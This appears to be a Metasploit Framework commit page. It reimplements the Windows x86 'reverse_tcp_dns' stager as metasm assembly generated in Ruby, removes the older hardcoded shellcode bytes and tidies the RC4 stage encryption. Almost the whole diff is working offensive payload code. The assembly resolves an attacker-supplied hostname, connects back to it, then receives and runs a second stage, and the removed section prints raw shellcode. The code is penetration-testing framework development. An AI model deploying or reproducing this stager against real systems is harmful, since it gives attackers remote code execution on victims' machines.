Implement reverse_tcp_dns as metasm payload
Using the separation of block_recv and reverse_tcp, implement reverse_tcp_dns using original shellcode as template with dynamic injection of parameters. Concatenate the whole thing in the generation call chain, and compile the resulting shellcode for delivery. Metasploit module pruned to bare minimum, with the LHOST OptString moved into the library component. Testing: Win2k8r2 ToDo: Update payload sizes when this branch is "complete" Ensure UUIDs and adjacent black magic all work properly Misc: Clean up rc4.rb to use the rc4_keys method when generating a stage. Makes the implementation far more readable and reduces redundant code.bug/bundler_fix
parent
df2346d9e0
commit
0e69040a6a
|
@ -88,14 +88,12 @@ module Payload::Windows::Rc4
|
|||
|
||||
def generate_stage(opts={})
|
||||
p = super(opts)
|
||||
m = OpenSSL::Digest.new('sha1')
|
||||
m.reset
|
||||
key = m.digest(datastore["RC4PASSWORD"] || "")
|
||||
xorkey,rc4key = rc4_keys(datastore['RC4PASSWORD'])
|
||||
c1 = OpenSSL::Cipher::Cipher.new('RC4')
|
||||
c1.decrypt
|
||||
c1.key=key[4,16]
|
||||
c1.key = rc4key
|
||||
p = c1.update(p)
|
||||
return [ p.length ^ key[0,4].unpack('V')[0] ].pack('V') + p
|
||||
return [ p.length ^ xorkey.unpack('V')[0] ].pack('V') + p
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
|
|
|
@ -0,0 +1,167 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/reverse_tcp'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex reverse_tcp payload generation for Windows ARCH_X86
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::ReverseTcpDns
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows::ReverseTcp
|
||||
|
||||
#
|
||||
# Register dns specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
# Overload LHOST as a String value for the hostname
|
||||
register_options([ OptString.new("LHOST", [true, "The DNS hostname to connect back to"]) ], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
conf = {
|
||||
port: datastore['LPORT'],
|
||||
host: datastore['LHOST'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
reliable: false
|
||||
}
|
||||
|
||||
# Generate the advanced stager if we have space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
generate_reverse_tcp_dns(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_reverse_tcp_dns(opts={})
|
||||
combined_asm = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop ebp
|
||||
#{asm_reverse_tcp_dns(opts)}
|
||||
#{asm_block_recv(opts)}
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
# @option opts [Fixnum] :port The port to connect to
|
||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||
# @option opts [Fixnum] :retry_count Number of retry attempts
|
||||
#
|
||||
def asm_reverse_tcp_dns(opts={})
|
||||
|
||||
retry_count = [opts[:retry_count].to_i, 1].max
|
||||
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
|
||||
asm = %Q^
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Output: EDI will be the socket for the connection to the server
|
||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
|
||||
reverse_tcp:
|
||||
push '32' ; Push the bytes 'ws2_32',0,0 onto the stack.
|
||||
push 'ws2_' ; ...
|
||||
push esp ; Push a pointer to the "ws2_32" string on the stack.
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
|
||||
call ebp ; LoadLibraryA( "ws2_32" )
|
||||
|
||||
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
|
||||
sub esp, eax ; alloc some space for the WSAData structure
|
||||
push esp ; push a pointer to this stuct
|
||||
push eax ; push the wVersionRequested parameter
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
|
||||
call ebp ; WSAStartup( 0x0190, &WSAData );
|
||||
|
||||
push eax ; if we succeed, eax wil be zero, push zero for the flags param.
|
||||
push eax ; push null for reserved parameter
|
||||
push eax ; we do not specify a WSAPROTOCOL_INFO structure
|
||||
push eax ; we do not specify a protocol
|
||||
inc eax ;
|
||||
push eax ; push SOCK_STREAM
|
||||
inc eax ;
|
||||
push eax ; push AF_INET
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
|
||||
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
||||
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
|
||||
|
||||
create_socket:
|
||||
call got_hostname
|
||||
|
||||
hostname:
|
||||
db "#{opts[:host]}", 0x00
|
||||
|
||||
got_hostname:
|
||||
push #{Rex::Text.block_api_hash( "ws2_32.dll", "gethostbyname" )}
|
||||
call ebp ; gethostbyname( "name" );
|
||||
|
||||
set_address:
|
||||
mov eax, [eax+28] ; names
|
||||
push #{retry_count} ; retry counter
|
||||
push eax ; host address
|
||||
push #{encoded_port} ; family AF_INET and port number
|
||||
mov esi, esp ; save pointer to sockaddr struct
|
||||
|
||||
try_connect:
|
||||
push 16 ; length of the sockaddr struct
|
||||
push esi ; pointer to the sockaddr struct
|
||||
push edi ; the socket
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
|
||||
call ebp ; connect( s, &sockaddr, 16 );
|
||||
|
||||
test eax,eax ; non-zero means a failure
|
||||
jz connected
|
||||
|
||||
handle_connect_failure:
|
||||
; decrement our attempt count and try again
|
||||
dec dword [esi+8]
|
||||
jnz try_connect
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << %Q^
|
||||
failure:
|
||||
call exitfunk
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
; this lable is required so that reconnect attempts include
|
||||
; the UUID stuff if required.
|
||||
connected:
|
||||
^
|
||||
|
||||
asm << asm_send_uuid if include_send_uuid
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -6,14 +6,14 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
|
||||
require 'msf/core/payload/windows/reverse_tcp_dns'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 356
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::ReverseTcpDns
|
||||
|
||||
def self.handler_type_alias
|
||||
"reverse_tcp_dns"
|
||||
|
@ -23,61 +23,16 @@ module MetasploitModule
|
|||
super(merge_info(info,
|
||||
'Name' => 'Reverse TCP Stager (DNS)',
|
||||
'Description' => 'Connect back to the attacker',
|
||||
'Author' => ['hdm', 'skape', 'sf'],
|
||||
'Author' => ['hdm', 'skape', 'sf', 'RageLtMan'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Convention' => 'sockedi',
|
||||
'Stager' =>
|
||||
{
|
||||
'RequiresMidstager' => false,
|
||||
'Offsets' => {
|
||||
# ExitFunk Offset: 297
|
||||
'LPORT' => [ 272, 'n' ],
|
||||
'ReverseConnectRetries' => [ 267, 'C']
|
||||
},
|
||||
'Payload' =>
|
||||
"\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" +
|
||||
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" +
|
||||
"\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" +
|
||||
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" +
|
||||
"\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" +
|
||||
"\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" +
|
||||
"\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" +
|
||||
"\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" +
|
||||
"\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" +
|
||||
"\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" +
|
||||
"\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x50\x50\x40" +
|
||||
"\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\xE8\x40\x00\x00\x00" +
|
||||
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +
|
||||
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +
|
||||
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +
|
||||
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x00" +
|
||||
"\x68\xA9\x28\x34\x80\xFF\xD5\x8B\x40\x1C\x6A\x05\x50\x68\x02\x00" +
|
||||
"\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85" +
|
||||
"\xC0\x74\x0C\xFF\x4E\x08\x75\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A" +
|
||||
"\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40" +
|
||||
"\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93" +
|
||||
"\x53\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29" +
|
||||
"\xC6\x75\xEE\xC3"
|
||||
}
|
||||
{ 'RequiresMidstager' => false }
|
||||
))
|
||||
|
||||
# Overload LHOST as a String value for the hostname
|
||||
register_options([
|
||||
OptString.new("LHOST", [true, "The DNS hostname to connect back to"])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
p = super
|
||||
|
||||
i = p.index("X" * 63)
|
||||
u = datastore['LHOST'].to_s + "\x00"
|
||||
raise ArgumentError, "LHOST can be 63 bytes long at the most" if u.length > 64
|
||||
p[i, u.length] = u
|
||||
p
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue